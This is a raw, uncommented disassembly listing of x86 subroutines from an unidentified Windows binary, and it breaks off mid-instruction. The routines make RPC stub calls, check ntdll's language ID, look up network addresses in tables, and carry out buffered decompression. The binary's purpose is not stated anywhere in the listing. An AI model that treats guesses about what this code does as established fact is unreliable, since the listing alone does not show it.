arg_0 = byte ptr 8 push ebp mov ebp, esp push ecx lea eax, [ebp+arg_0] push eax push offset pFormat ; pFormat push offset pStubDescriptor ; pStubDescriptor call NdrClientCall2 add esp, 0Ch mov [ebp+var_4], eax mov eax, [ebp+var_4] leave retn sub_9AED38 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_9AED5A proc near ; CODE XREF: sub_9A97A7+5Ap var_4 = dword ptr -4 arg_0 = byte ptr 8 push ebp mov ebp, esp push ecx lea eax, [ebp+arg_0] push eax push offset byte_9A52DC ; pFormat push offset pStubDescriptor ; pStubDescriptor call NdrClientCall2 add esp, 0Ch mov [ebp+var_4], eax mov eax, [ebp+var_4] leave retn sub_9AED5A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_9AED7C proc near ; CODE XREF: sub_9AEFDD+1Ep tstrFilename = byte ptr -134h var_133 = byte ptr -133h var_30 = dword ptr -30h var_2C = dword ptr -2Ch dwHandle = dword ptr -28h lpBuffer = dword ptr -24h puLen = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h push 124h push offset stru_9A6A40 call __SEH_prolog mov [ebp+var_1C], 9 xor ebx, ebx mov [ebp+ms_exc.disabled], ebx mov [ebp+tstrFilename], bl push 40h pop ecx xor eax, eax lea edi, [ebp+var_133] rep stosd stosw stosb push 104h ; nSize lea eax, [ebp+tstrFilename] push eax ; lpFilename push offset aNtdll_dll ; "ntdll.dll" call GetModuleHandleA push eax ; hModule call GetModuleFileNameA lea eax, [ebp+dwHandle] push eax ; lpdwHandle lea eax, [ebp+tstrFilename] push eax ; lptstrFilename call GetFileVersionInfoSizeA mov esi, eax mov [ebp+var_30], esi cmp esi, ebx jz short loc_9AEE52 push esi ; dwBytes push 40h ; uFlags call GlobalAlloc mov edi, eax mov [ebp+var_2C], edi cmp edi, ebx jz short loc_9AEE52 push edi ; lpData push esi ; dwLen push ebx ; dwHandle lea eax, [ebp+tstrFilename] push eax ; lptstrFilename call GetFileVersionInfoA test eax, eax jz short loc_9AEE42 lea eax, [ebp+puLen] push eax ; puLen lea eax, [ebp+lpBuffer] push eax ; lplpBuffer push offset SubBlock ; "\\VarFileInfo\\Translation" push edi ; pBlock call VerQueryValueA test eax, eax jz short loc_9AEE42 cmp [ebp+puLen], ebx jz short loc_9AEE42 mov eax, [ebp+lpBuffer] movzx eax, word ptr [eax] mov [ebp+var_1C], eax cmp ax, 804h jz short loc_9AEE42 cmp ax, 416h jz short loc_9AEE42 and eax, 0FFFF03FFh mov [ebp+var_1C], eax loc_9AEE42: ; CODE XREF: sub_9AED7C+8Bj ; sub_9AED7C+A2j ... push edi ; hMem call GlobalFree jmp short loc_9AEE52 ; --------------------------------------------------------------------------- loc_9AEE4B: ; DATA XREF: .text:stru_9A6A40o xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_9AEE4F: ; DATA XREF: .text:stru_9A6A40o mov esp, [ebp+ms_exc.old_esp] loc_9AEE52: ; CODE XREF: sub_9AED7C+66j ; sub_9AED7C+78j ... or [ebp+ms_exc.disabled], 0FFFFFFFFh mov ax, word ptr [ebp+var_1C] call __SEH_epilog retn sub_9AED7C endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_9AEE60(const void *, const void *) sub_9AEE60 proc near ; DATA XREF: sub_9AEEBC+80o arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [eax] cmp [esp+arg_0], ecx jb short loc_9AEE7B movzx eax, byte ptr [eax+4] add eax, ecx cmp eax, [esp+arg_0] sbb eax, eax neg eax retn ; --------------------------------------------------------------------------- loc_9AEE7B: ; CODE XREF: sub_9AEE60+Aj or eax, 0FFFFFFFFh retn sub_9AEE60 endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_9AEE7F(const void *, const void *) sub_9AEE7F proc near ; DATA XREF: sub_9AEEBC+55o arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [eax] cmp [esp+arg_0], ecx jb short loc_9AEE9A movzx eax, word ptr [eax+4] add eax, ecx cmp eax, [esp+arg_0] sbb eax, eax neg eax retn ; --------------------------------------------------------------------------- loc_9AEE9A: ; CODE XREF: sub_9AEE7F+Aj or eax, 0FFFFFFFFh retn sub_9AEE7F endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl PtFuncCompare(const void *, const void *) PtFuncCompare proc near ; DATA XREF: sub_9AEEBC+2Ao arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [eax] cmp [esp+arg_0], ecx jb short loc_9AEEB8 mov eax, [eax+4] add eax, ecx cmp eax, [esp+arg_0] sbb eax, eax neg eax retn ; --------------------------------------------------------------------------- loc_9AEEB8: ; CODE XREF: PtFuncCompare+Aj or eax, 0FFFFFFFFh retn PtFuncCompare endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_9AEEBC(u_long netlong) sub_9AEEBC proc near ; CODE XREF: sub_9AEF58+27p netlong = dword ptr 4 push ebx push esi push edi push [esp+0Ch+netlong] ; netlong or bl, 0FFh call ntohl_0 mov esi, bsearch mov edi, eax mov eax, ds:Base test eax, eax jz short loc_9AEEFE mov ecx, ds:NumOfElements test ecx, ecx jz short loc_9AEEFE push offset PtFuncCompare ; PtFuncCompare push 9 ; SizeOfElements push ecx ; NumOfElements push eax ; Base push edi ; Key call esi ; bsearch add esp, 14h test eax, eax jz short loc_9AEEFE mov bl, [eax+8] jmp short loc_9AEF52 ; --------------------------------------------------------------------------- loc_9AEEFE: ; CODE XREF: sub_9AEEBC+1Ej ; sub_9AEEBC+28j ... mov ecx, ds:dword_9BA2C0 test ecx, ecx jz short loc_9AEF29 mov eax, ds:dword_9BA2C4 test eax, eax jz short loc_9AEF29 push offset sub_9AEE7F ; PtFuncCompare push 7 ; SizeOfElements push eax ; NumOfElements push ecx ; Base push edi ; Key call esi ; bsearch add esp, 14h test eax, eax jz short loc_9AEF29 mov bl, [eax+6] jmp short loc_9AEF52 ; --------------------------------------------------------------------------- loc_9AEF29: ; CODE XREF: sub_9AEEBC+4Aj ; sub_9AEEBC+53j ... mov ecx, ds:dword_9BA2B0 test ecx, ecx jz short loc_9AEF52 mov eax, ds:dword_9BA2AC test eax, eax jz short loc_9AEF52 push offset sub_9AEE60 ; PtFuncCompare push 6 ; SizeOfElements push eax ; NumOfElements push ecx ; Base push edi ; Key call esi ; bsearch add esp, 14h test eax, eax jz short loc_9AEF52 mov bl, [eax+5] loc_9AEF52: ; CODE XREF: sub_9AEEBC+40j ; sub_9AEEBC+6Bj ... pop edi pop esi mov al, bl pop ebx retn sub_9AEEBC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_9AEF58(u_long netlong) sub_9AEF58 proc near ; CODE XREF: sub_9A9BBC+57p var_24 = dword ptr -24h var_20 = dword ptr -20h var_19 = byte ptr -19h ms_exc = CPPEH_RECORD ptr -18h netlong = dword ptr 8 push 14h push offset stru_9A6A50 call __SEH_prolog mov [ebp+var_24], 9 and [ebp+ms_exc.disabled], 0 push [ebp+netlong] call sub_9AB389 pop ecx test eax, eax jz short loc_9AEFBE push [ebp+netlong] ; netlong call sub_9AEEBC pop ecx mov [ebp+var_19], al cmp al, 0FFh jz short loc_9AEFCF and [ebp+var_20], 0 loc_9AEF90: ; CODE XREF: sub_9AEF58+64j cmp [ebp+var_20], 17h jnb short loc_9AEFCF mov ecx, [ebp+var_20] shl ecx, 2 cmp al, ds:byte_9A69C8[ecx] jb short loc_9AEFB9 cmp al, ds:byte_9A69C9[ecx] ja short loc_9AEFB9 mov ax, ds:word_9A69CA[ecx] mov word ptr [ebp+var_24], ax jmp short loc_9AEFCF ; --------------------------------------------------------------------------- loc_9AEFB9: ; CODE XREF: sub_9AEF58+4Aj ; sub_9AEF58+52j inc [ebp+var_20] jmp short loc_9AEF90 ; --------------------------------------------------------------------------- loc_9AEFBE: ; CODE XREF: sub_9AEF58+22j mov eax, ds:dword_9BA2B4 mov [ebp+var_24], eax jmp short loc_9AEFCF ; --------------------------------------------------------------------------- loc_9AEFC8: ; DATA XREF: .text:stru_9A6A50o xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_9AEFCC: ; DATA XREF: .text:stru_9A6A50o mov esp, [ebp+ms_exc.old_esp] loc_9AEFCF: ; CODE XREF: sub_9AEF58+32j ; sub_9AEF58+3Cj ... or [ebp+ms_exc.disabled], 0FFFFFFFFh mov ax, word ptr [ebp+var_24] call __SEH_epilog retn sub_9AEF58 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_9AEFDD proc near ; CODE XREF: StartAddress+1CDp var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push 10h push offset stru_9A6A80 call __SEH_prolog xor esi, esi cmp word ptr ds:dword_9BA2B4, si jnz loc_9AF0B6 mov [ebp+ms_exc.disabled], esi call sub_9AED7C mov word ptr ds:dword_9BA2B4, ax cmp [ebp+arg_0], esi jz loc_9AF0B2 mov ebx, [ebp+arg_4] cmp ebx, esi jz loc_9AF0B2 mov [ebp+var_1C], ebx push 1Eh mov edi, offset dword_9A6A5C push edi push ebx push [ebp+arg_0] call sub_9AE06F lea eax, [ebp+var_1C] push eax push [ebp+arg_0] call sub_9AF0BC mov esi, eax mov [ebp+var_20], esi push 1Eh push edi push ebx push [ebp+arg_0] call sub_9AE06F add esp, 28h test esi, esi jz short loc_9AF0B2 cmp [ebp+var_1C], 0 jz short loc_9AF0B2 lea eax, [esi+4] mov ds:dword_9BA2B0, eax mov ecx, [esi] mov eax, ecx xor edx, edx push 6 pop edi div edi mov ds:dword_9BA2AC, eax lea eax, [ecx+esi+8] mov ds:dword_9BA2C0, eax mov eax, [ecx+esi+4] xor edx, edx push 7 pop edi div edi mov ds:dword_9BA2C4, eax mov eax, [ecx+esi+4] add eax, ecx add eax, esi lea ecx, [eax+0Ch] mov ds:Base, ecx mov eax, [eax+8] xor edx, edx push 9 pop ecx div ecx mov ds:NumOfElements, eax jmp short loc_9AF0B2 ; --------------------------------------------------------------------------- loc_9AF0AB: ; DATA XREF: .text:stru_9A6A80o xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_9AF0AF: ; DATA XREF: .text:stru_9A6A80o mov esp, [ebp+ms_exc.old_esp] loc_9AF0B2: ; CODE XREF: sub_9AEFDD+2Cj ; sub_9AEFDD+37j ... or [ebp+ms_exc.disabled], 0FFFFFFFFh loc_9AF0B6: ; CODE XREF: sub_9AEFDD+15j call __SEH_epilog retn sub_9AEFDD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_9AF0BC proc near ; CODE XREF: sub_9AEFDD+58p Memory = dword ptr -450h var_44C = byte ptr -44Ch var_430 = dword ptr -430h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push 440h push offset stru_9A6A90 call __SEH_prolog xor ebx, ebx mov [ebp+var_20], ebx mov [ebp+ms_exc.disabled], ebx mov esi, [ebp+arg_4] push dword ptr [esi] ; Size push ebx ; char push [ebp+arg_0] ; int call sub_9B3EA2 add esp, 0Ch mov [ebp+var_24], eax cmp eax, 0FFFFFFFFh jz loc_9AF18D mov [ebp+Memory], ebx mov ecx, 108h xor eax, eax lea edi, [ebp+var_44C] rep stosd lea eax, [ebp+Memory] push eax ; Memory push [ebp+var_24] ; int call sub_9B0DF4 pop ecx pop ecx test eax, eax jnz short loc_9AF177 or [ebp+var_430], 0FFFFFFFFh lea eax, [ebp+Memory] push eax call sub_9B0F21 pop ecx test eax, eax jnz short loc_9AF177 mov [ebp+var_1C], ebx push ebx lea eax, [ebp+Memory] push eax call sub_9B0FE1 mov [ebp+var_28], eax lea eax, [ebp+var_1C] push eax call sub_9B3D11 add esp, 0Ch mov [ebp+var_2C], eax cmp [ebp+var_28], ebx jnz short loc_9AF16B cmp eax, ebx jz short loc_9AF177 mov ecx, [ebp+var_1C] cmp ecx, ebx jz short loc_9AF16B mov [ebp+var_20], eax mov [esi], ecx jmp short loc_9AF177 ; --------------------------------------------------------------------------- loc_9AF16B: ; CODE XREF: sub_9AF0BC+9Bj ; sub_9AF0BC+A6j cmp eax, ebx jz short loc_9AF177 push eax ; Memory call free pop ecx loc_9AF177: ; CODE XREF: sub_9AF0BC+5Cj ; sub_9AF0BC+74j ... lea eax, [ebp+Memory] push eax call sub_9B1166 pop ecx jmp short loc_9AF18D ; --------------------------------------------------------------------------- loc_9AF186: ; DATA XREF: .text:stru_9A6A90o xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_9AF18A: ; DATA XREF: .text:stru_9A6A90o mov esp, [ebp+ms_exc.old_esp] loc_9AF18D: ; CODE XREF: sub_9AF0BC+2Ej ; sub_9AF0BC+C8j or [ebp+ms_exc.disabled], 0FFFFFFFFh mov eax, [ebp+var_20] call __SEH_epilog retn sub_9AF0BC endp ; =============== S U B R O U T I N E ======================================= sub_9AF19A proc near ; CODE XREF: sub_9B030E+70Dp ; sub_9B030E+84Fp arg_0 = dword ptr 4 lea ecx, [eax+408AFCh] mov edx, [ecx] mov [eax+408B00h], edx lea edx, [eax+408AF8h] push esi mov esi, [edx] mov [ecx], esi add eax, 408AF4h mov ecx, [eax] mov [edx], ecx mov ecx, [esp+4+arg_0] mov [eax], ecx pop esi retn sub_9AF19A endp ; =============== S U B R O U T I N E ======================================= sub_9AF1C4 proc near ; CODE XREF: sub_9B030E+59Bp ; sub_9B030E+866p arg_0 = dword ptr 4 push esi mov esi, [eax+40800Ch] push edi mov edi, ecx mov ecx, esi sub ecx, [esp+8+arg_0] mov edx, 3FFEFCh cmp ecx, edx jnb short loc_9AF221 cmp esi, edx jnb short loc_9AF221 mov dl, [ecx+eax+8004h] mov [esi+eax+8004h], dl inc dword ptr [eax+40800Ch] mov edx, [eax+40800Ch] inc ecx dec edi jz short loc_9AF257 lea esi, [ecx+eax+8004h] loc_9AF206: ; CODE XREF: sub_9AF1C4+59j mov cl, [esi] mov [edx+eax+8004h], cl inc dword ptr [eax+40800Ch] mov edx, [eax+40800Ch] inc esi dec edi jnz short loc_9AF206 jmp short loc_9AF257 ; --------------------------------------------------------------------------- loc_9AF221: ; CODE XREF: sub_9AF1C4+17j ; sub_9AF1C4+1Bj test edi, edi jz short loc_9AF257 mov esi, 3FFFFFh push ebx loc_9AF22B: ; CODE XREF: sub_9AF1C4+90j mov ebx, [eax+40800Ch] mov edx, ecx and edx, esi mov dl, [edx+eax+8004h] mov [eax+ebx+8004h], dl mov edx, [eax+40800Ch] inc ecx inc edx and edx, esi dec edi mov [eax+40800Ch], edx jnz short loc_9AF22B pop ebx loc_9AF257: ; CODE XREF: sub_9AF1C4+39j ; sub_9AF1C4+5Bj ... pop edi pop esi retn sub_9AF1C4 endp ; =============== S U B R O U T I N E ======================================= sub_9AF25A proc near ; CODE XREF: sub_9AF7C6+89p ; sub_9AF875+3Dp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] mov eax, [esp+arg_4] lea edx, [ecx+408008h] add eax, [edx] push esi mov esi, eax sar esi, 3 add [ecx+408004h], esi and eax, 7 mov [edx], eax pop esi retn sub_9AF25A endp ; =============== S U B R O U T I N E ======================================= sub_9AF27D proc near ; CODE XREF: sub_9AF7C6+7p ; sub_9AF875+43p ... arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [edx+408004h] push ebx xor ebx, ebx add eax, edx mov bh, [eax+4] push 8 pop ecx sub ecx, [edx+408008h] mov bl, [eax+5] movzx eax, byte ptr [eax+6] shl ebx, 8 or ebx, eax shr ebx, cl and ebx, 0FFFFh mov eax, ebx pop ebx retn sub_9AF27D endp ; =============== S U B R O U T I N E ======================================= sub_9AF2B0 proc near ; CODE XREF: sub_9AF380+16p ; sub_9AF875+21p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_4] mov ecx, [esi+408018h] mov eax, [esi+408004h] push edi mov edi, ecx sub edi, eax jns short loc_9AF2CF xor eax, eax jmp loc_9AF37D ; --------------------------------------------------------------------------- loc_9AF2CF: ; CODE XREF: sub_9AF2B0+16j cmp eax, 4000h jle short loc_9AF2FC test edi, edi jle short loc_9AF2ED lea eax, [eax+esi+4] push edi ; Size push eax ; Src lea eax, [esi+4] push eax ; Dst call memmove add esp, 0Ch loc_9AF2ED: ; CODE XREF: sub_9AF2B0+28j and dword ptr [esi+408004h], 0 mov [esi+408018h], edi jmp short loc_9AF2FE ; --------------------------------------------------------------------------- loc_9AF2FC: ; CODE XREF: sub_9AF2B0+24j mov edi, ecx loc_9AF2FE: ; CODE XREF: sub_9AF2B0+4Aj mov ecx, [esi+40D7F8h] push ebx mov ebx, 8000h mov eax, ebx sub eax, edi and eax, 0FFFFFFF0h cmp ecx, eax jnb short loc_9AF317 mov eax, ecx loc_9AF317: ; CODE XREF: sub_9AF2B0+63j push eax ; Size lea eax, [edi+esi+4] push eax ; Dst push [esp+14h+arg_0] ; int call sub_9B3D6A mov edi, eax add esp, 0Ch test edi, edi jle short loc_9AF33B add [esi+408018h], edi sub [esi+40D7F8h], edi loc_9AF33B: ; CODE XREF: sub_9AF2B0+7Dj mov eax, [esi+408018h] lea ecx, [eax-1Eh] cmp ecx, [esi+408004h] mov [esi+40801Ch], ecx jge short loc_9AF374 lea ecx, [eax+1Eh] cmp ecx, ebx jge short loc_9AF35E push 1Eh pop ecx jmp short loc_9AF364 ; --------------------------------------------------------------------------- loc_9AF35E: ; CODE XREF: sub_9AF2B0+A7j mov ecx, ebx sub ecx, eax jz short loc_9AF374 loc_9AF364: ; CODE XREF: sub_9AF2B0+ACj push ecx ; Size lea eax, [eax+esi+4] push 0 ; Val push eax ; Dst call memset add esp, 0Ch loc_9AF374: ; CODE XREF: sub_9AF2B0+A0j ; sub_9AF2B0+B2j xor eax, eax cmp edi, 0FFFFFFFFh setnz al pop ebx loc_9AF37D: ; CODE XREF: sub_9AF2B0+1Aj pop edi pop esi retn sub_9AF2B0 endp ; =============== S U B R O U T I N E ======================================= sub_9AF380 proc near ; CODE XREF: sub_9B24CC+Ep ; sub_9B24CC+2Fp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_4] cmp dword ptr [esi+408004h], 7FE2h jle short loc_9AF3A6 push esi push [esp+8+arg_0] call sub_9AF2B0 test eax, eax pop ecx pop ecx jnz short loc_9AF3A6 or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_9AF3A6: ; CODE XREF: sub_9AF380+Fj ; sub_9AF380+1Fj mov eax, [esi+408004h] mov cl, [eax+esi+4] inc eax mov [esi+408004h], eax movzx eax, cl pop esi retn sub_9AF380 endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_9AF3BC(void *Src, size_t Size) sub_9AF3BC proc near ; CODE XREF: sub_9AF3FD+1Cp ; sub_9AF3FD+2Bp ... Src = dword ptr 4 Size = dword ptr 8 push esi push [esp+4+Size] ; Size mov esi, eax push [esp+8+Src] ; Src push dword ptr [esi] ; int call sub_9B3DC6 add esp, 0Ch test eax, eax jle short loc_9AF3E1 cdq lea ecx, [esi+40D7BCh] add [ecx], eax adc [ecx+4], edx loc_9AF3E1: ; CODE XREF: sub_9AF3BC+17j push [esp+4+Size] add esi, 40D7F4h push [esp+8+Src] push dword ptr [esi] call sub_9B27A7 add esp, 0Ch mov [esi], eax pop esi retn sub_9AF3BC endp ; =============== S U B R O U T I N E ======================================= ; int __fastcall sub_9AF3FD(size_t Size) sub_9AF3FD proc near ; CODE XREF: sub_9AF4A5+7Cp ; sub_9AF4A5+20Ap push edi mov edi, ecx cmp edi, eax jnb short loc_9AF432 mov ecx, eax neg ecx and ecx, 3FFFFFh lea eax, [esi+eax+8004h] push ecx ; Size push eax ; Src mov eax, esi call sub_9AF3BC lea eax, [esi+8004h] push edi ; Size push eax ; Src mov eax, esi call sub_9AF3BC add esp, 10h pop edi retn ; --------------------------------------------------------------------------- loc_9AF432: ; CODE XREF: sub_9AF3FD+5j sub edi, eax lea eax, [esi+eax+8004h] push edi ; Size push eax ; Src mov eax, esi call sub_9AF3BC pop ecx pop ecx pop edi retn sub_9AF3FD endp ; =============== S U B R O U T I N E ======================================= sub_9AF448 proc near ; CODE XREF: sub_9AF4A5+113p ; sub_9AF4A5+18Ep cmp dword ptr [edi+18h], 0 push esi mov esi, eax jle short loc_9AF4A3 mov eax, [esi+40D7BCh] mov [edi+3Ch], eax push dword ptr [esi+40D7BCh] mov eax, [edi+0Ch] add eax, 24h push eax push 0 call sub_9B278D mov eax, [esi+40D7BCh] mov edx, [esi+40D7C0h] add esp, 0Ch mov cl, 20h call __allshr push eax mov eax, [edi+0Ch] add eax, 28h push eax push 0 call sub_9B278D push edi ; Size add esi, 40D7CCh push esi ; int call sub_9B3713 add esp, 14h loc_9AF4A3: ; CODE XREF: sub_9AF448+7j pop esi retn sub_9AF448 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_9AF4A5 proc near ; CODE XREF: sub_9B030E+4AEp ; sub_9B030E+733p var_14 = dword ptr -14h var_10 = dword ptr -10h Src = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 14h and [ebp+var_4], 0 push ebx push esi mov esi, eax mov eax, [esi+408010h] mov ecx, [esi+40800Ch] sub ecx, eax and ecx, 3FFFFFh cmp dword ptr [esi+40D7ACh], 0 push edi jbe loc_9AF6A9 loc_9AF4D5: ; CODE XREF: sub_9AF4A5+1FEj mov ebx, [ebp+var_4] mov edx, [esi+40D7A8h] shl ebx, 2 mov edx, [ebx+edx] test edx, edx mov [ebp+var_8], edx jz loc_9AF697 cmp dword ptr [edx+0Ch], 0 jz short loc_9AF4FE and dword ptr [edx+0Ch], 0 jmp loc_9AF697 ; --------------------------------------------------------------------------- loc_9AF4FE: ; CODE XREF: sub_9AF4A5+4Ej mov edi, [edx] mov edx, [edx+4] mov [ebp+Src], edx mov edx, edi sub edx, eax and edx, 3FFFFFh cmp edx, ecx mov [ebp+var_14], edi jnb loc_9AF697 cmp eax, edi jz short loc_9AF539 mov ecx, edi ; Size call sub_9AF3FD mov ecx, [esi+40800Ch] sub ecx, edi mov edx, 3FFFFFh mov eax, edi and ecx, edx jmp short loc_9AF53E ; --------------------------------------------------------------------------- loc_9AF539: ; CODE XREF: sub_9AF4A5+78j mov edx, 3FFFFFh loc_9AF53E: ; CODE XREF: sub_9AF4A5+92j cmp [ebp+Src], ecx ja loc_9AF6C5 mov ecx, [ebp+Src] lea eax, [ecx+edi] and eax, edx cmp edi, eax mov [ebp+var_10], eax jb short loc_9AF596 test eax, eax jz short loc_9AF596 mov eax, edx sub eax, edi push eax ; int mov [ebp+Src], eax lea eax, [esi+edi+8004h] push eax ; Src lea ecx, [esi+40D7CCh] push 0 ; int push ecx ; int call sub_9B2A35 push [ebp+var_10] ; int lea eax, [esi+8004h] push eax ; Src push [ebp+Src] ; int lea eax, [esi+40D7CCh] push eax ; int call sub_9B2A35 add esp, 20h jmp short loc_9AF5B0 ; --------------------------------------------------------------------------- loc_9AF596: ; CODE XREF: sub_9AF4A5+AFj ; sub_9AF4A5+B3j push ecx ; int lea ecx, [edi+esi+8004h] push ecx ; Src lea eax, [esi+40D7CCh] push 0 ; int push eax ; int call sub_9B2A35 add esp, 10h loc_9AF5B0: ; CODE XREF: sub_9AF4A5+EFj mov edi, [ebp+var_8] add edi, 10h mov eax, esi call sub_9AF448 mov eax, [edi+14h] mov edi, [edi+40h] mov [ebp+Src], eax mov eax, [esi+40D7A8h] push dword ptr [ebx+eax] ; Memory call sub_9B12A0 mov eax, [esi+40D7A8h] and dword ptr [ebx+eax], 0 mov eax, [ebp+var_4] inc eax cmp eax, [esi+40D7ACh] pop ecx jnb loc_9AF679 mov [ebp+var_8], eax loc_9AF5F2: ; CODE XREF: sub_9AF4A5+1CEj mov eax, [esi+40D7A8h] mov eax, [ebx+eax+4] test eax, eax jz short loc_9AF679 mov ecx, [ebp+var_14] cmp [eax], ecx jnz short loc_9AF679 cmp [eax+4], edi jnz short loc_9AF679 cmp dword ptr [eax+0Ch], 0 jnz short loc_9AF679 push edi ; int push [ebp+Src] ; Src lea eax, [esi+40D7CCh] push 0 ; int push eax ; int call sub_9B2A35 mov eax, [esi+40D7A8h] mov edi, [ebx+eax+4] add edi, 10h mov eax, esi call sub_9AF448 mov eax, [edi+14h] inc [ebp+var_4] mov edi, [edi+40h] inc [ebp+var_8] mov [ebp+Src], eax mov eax, [ebp+var_4] mov ebx, eax mov eax, [esi+40D7A8h] shl ebx, 2 push dword ptr [ebx+eax] ; Memory call sub_9B12A0 mov eax, [esi+40D7A8h] and dword ptr [ebx+eax], 0 mov eax, [ebp+var_8] add esp, 14h cmp eax, [esi+40D7ACh] jb loc_9AF5F2 loc_9AF679: ; CODE XREF: sub_9AF4A5+144j ; sub_9AF4A5+159j ... push edi ; Size push [ebp+Src] ; Src mov eax, esi call sub_9AF3BC mov eax, [ebp+var_10] pop ecx pop ecx mov ecx, [esi+40800Ch] sub ecx, eax and ecx, 3FFFFFh loc_9AF697: ; CODE XREF: sub_9AF4A5+44j ; sub_9AF4A5+54j ... inc [ebp+var_4] mov edx, [ebp+var_4] cmp edx, [esi+40D7ACh] jb loc_9AF4D5 loc_9AF6A9: ; CODE XREF: sub_9AF4A5+2Aj mov ecx, [esi+40800Ch] ; Size call sub_9AF3FD mov eax, [esi+40800Ch] loc_9AF6BA: ; CODE XREF: sub_9AF4A5+245j pop edi mov [esi+408010h], eax pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_9AF6C5: ; CODE XREF: sub_9AF4A5+9Cj mov edx, [ebp+var_4] jmp short loc_9AF6E2 ; --------------------------------------------------------------------------- loc_9AF6CA: ; CODE XREF: sub_9AF4A5+243j mov ecx, [esi+40D7A8h] mov ecx, [ecx+edx*4] test ecx, ecx jz short loc_9AF6E1 cmp dword ptr [ecx+0Ch], 0 jz short loc_9AF6E1 and dword ptr [ecx+0Ch], 0 loc_9AF6E1: ; CODE XREF: sub_9AF4A5+230j ; sub_9AF4A5+236j inc edx loc_9AF6E2: ; CODE XREF: sub_9AF4A5+223j cmp edx, [esi+40D7ACh] jb short loc_9AF6CA jmp short loc_9AF6BA sub_9AF4A5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_9AF6EC proc near ; CODE XREF: sub_9AF875+12Ap ; sub_9AF875+252p ... var_80 = dword ptr -80h var_7C = dword ptr -7Ch Dst = dword ptr -40h var_3C = dword ptr -3Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 80h push ebx push esi push edi push 40h ; Size xor edi, edi lea eax, [ebp+Dst] push edi ; Val push eax ; Dst call memset mov ebx, [ebp+arg_8] mov esi, [ebp+arg_4] mov eax, ebx shl eax, 2 push eax ; Size lea eax, [esi+84h] push edi ; Val push eax ; Dst call memset add esp, 18h xor ecx, ecx cmp ebx, edi jle short loc_9AF73D loc_9AF728: ; CODE XREF: sub_9AF6EC+4Fj mov eax, [ebp+arg_0] movzx eax, byte ptr [ecx+eax] and eax, 0Fh lea eax, [ebp+eax*4+Dst] inc dword ptr [eax] inc ecx cmp ecx, ebx jl short loc_9AF728 loc_9AF73D: ; CODE XREF: sub_9AF6EC+3Aj lea edx, [esi+44h] push 0Eh mov [ebp+Dst], edi mov [esi+4], edi mov [edx], edi mov [ebp+var_80], edi mov [ebp+arg_4], edi pop ecx loc_9AF751: ; CODE XREF: sub_9AF6EC+99j mov eax, [ebp+edi+var_3C] add eax, [ebp+arg_4] mov ebx, 0FFFFh shl eax, 1 mov [ebp+arg_4], eax shl eax, cl cmp eax, ebx jle short loc_9AF76A mov eax, ebx loc_9AF76A: ; CODE XREF: sub_9AF6EC+7Aj mov ebx, [edx] mov [edx-3Ch], eax mov eax, [ebp+edi+Dst] add eax, ebx add edx, 4 mov [ebp+edi+var_7C], eax dec ecx add edi, 4 cmp ecx, 0FFFFFFFFh mov [edx], eax jg short loc_9AF751 mov edx, [ebp+arg_8] xor ecx, ecx test edx, edx jle short loc_9AF7BF loc_9AF790: ; CODE XREF: sub_9AF6EC+D1j mov eax, [ebp+arg_0] lea edi, [ecx+eax] cmp byte ptr [edi], 0 jz short loc_9AF7BA xor eax, eax mov al, [edi] and eax, 0Fh mov eax, [ebp+eax*4+var_80] mov [esi+eax*4+84h], ecx xor eax, eax mov al, [edi] and eax, 0Fh lea eax, [ebp+eax*4+var_80] inc dword ptr [eax] loc_9AF7BA: ; CODE XREF: sub_9AF6EC+ADj inc ecx cmp ecx, edx jl short loc_9AF790 loc_9AF7BF: ; CODE XREF: sub_9AF6EC+A2j pop edi mov [esi], edx pop esi pop ebx leave retn sub_9AF6EC endp ; =============== S U B R O U T I N E ======================================= sub_9AF7C6 proc near ; CODE XREF: sub_9AF875+160p ; sub_9B030E+5EBp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi push [esp+0Ch+arg_0] call sub_9AF27D mov ebx, [esp+10h+arg_4] mov edi, eax and edi, 0FFFEh cmp edi, [ebx+24h] pop ecx jnb short loc_9AF81A cmp edi, [ebx+14h] jnb short loc_9AF801 cmp edi, [ebx+0Ch] jnb short loc_9AF7F7 cmp edi, [ebx+8] sbb esi, esi inc esi inc esi jmp 